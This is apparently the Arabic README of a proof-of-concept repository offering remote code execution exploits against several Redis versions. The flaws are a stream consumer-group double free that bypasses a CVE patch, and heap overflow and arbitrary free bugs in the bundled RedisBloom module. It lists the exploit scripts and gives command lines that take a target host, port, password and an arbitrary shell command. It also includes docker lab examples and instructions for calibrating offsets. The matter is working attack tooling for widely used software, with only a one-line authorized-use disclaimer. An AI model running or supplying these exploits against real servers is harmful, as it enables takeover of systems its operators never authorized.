
RCE PoC لـ Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
استغلالات RCE غير مدمرة لـ Redis 6.2.22 و7.4.9 و8.6.4 عبر التحرير المزدوج المشترك لـ NACK في مجموعة مستهلكي البث (تجاوز تصحيح CVE-2026-25243)، و8.8.0 عبر تجاوز سعة الكومة في TDigest داخل وحدة RedisBloom المدمجة، و8.8.1 عبر تحرير عشوائي في TopK (تجاوز تصحيح CVE-2026-25589).
A_exploit_stock.py — استغلال لـ 6.2.22 (صورة redis:6.2.22)P74_exploit.py (+ P74_g2.py) — استغلال لـ 7.4.9 (redis:7.4)P86_exploit.py — استغلال لـ 8.6.4 (redis:8.6)P88W_exploit.py (+ , ) — استغلال لـ
(، عبر تجاوز سعة الكومة في TDigest الخاص بالوحدة المدمجة)P88W_lib.pyP88W_corrupt.pyredis:8.8.0T88_exploit.py — استغلال لـ 8.8.0 و8.8.1 (عبر التحرير العشوائي
في TopK الخاص بالوحدة المدمجة؛ تجاوز لإصلاح CVE-2026-25589 غير المكتمل —
يعمل على RedisBloom الإصدار v8.8.0 وv8.8.2)A_lib.py, G2_arbread.py — أدوات مساعدة مشتركة (يجب أن تكون بجانب ملفات الاستغلال)crc64.c/h, crcspeed.c/h — مصادر لـ libcrc64.so (CRC64 الخاص بـ Redis،
مطلوب لبناء حمولات RESTORE صالحة)calibrate.sh — حساب الإزاحات الثنائية للنسخ غير الرسميةP74_loop.sh, P86_run.sh — أغلفة إعادة محاولة الإقلاعgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
المتطلبات: Python 3.6+ (بدون حزم pip)، gcc.
# 6.2.22 (DEBUG مفعّل افتراضيًا)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — هدف قياسي، لا حاجة لعلامة DEBUG
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — هدف قياسي، يُنصح بشدة بحاوية/نسخة جديدة تمامًا
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — التحرير العشوائي في TopK، هدف قياسي، يُنصح بنسخة جديدة
python3 T88_exploit.py <host> <port> [password] [trigger]
password — احذفه (أو مرّر "") للأهداف دون مصادقةtrigger — أمر شل، الافتراضي يكتب دليلًا تحت /data/pwned*أمثلة:
# مختبر محلي، 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# مختبر محلي، 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# مختبر محلي، 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# مختبر محلي، 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off إلخ؛ راجع --help)، أو شغّل
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] لتوليدها.
الإزاحات الخاطئة تسبب انهيار الخادم الهدف (قراءات خارج النطاق).EVAL, RESTORE, XGROUP
(إصدارا 8.8.0/8.8.1 يحتاجان أيضًا وحدة RedisBloom المدمجة، وهي موجودة افتراضيًا).HARDENING.md للتفاصيل.
استغلال 8.8.0 يترك ~2000 بنية tdigest مصفّرة + مفتاح oracle تالف —
لا تنفّذ FLUSHALL/SAVE على الهدف بعد ذلك.TopK_Destroy ما زال يقرأ جميع مؤشرات k
إلى ما بعد الكومة صغيرة الحجم في كل من RedisBloom v8.8.0 وv8.8.2).للاستخدام في الاختبارات المصرّح بها فقط.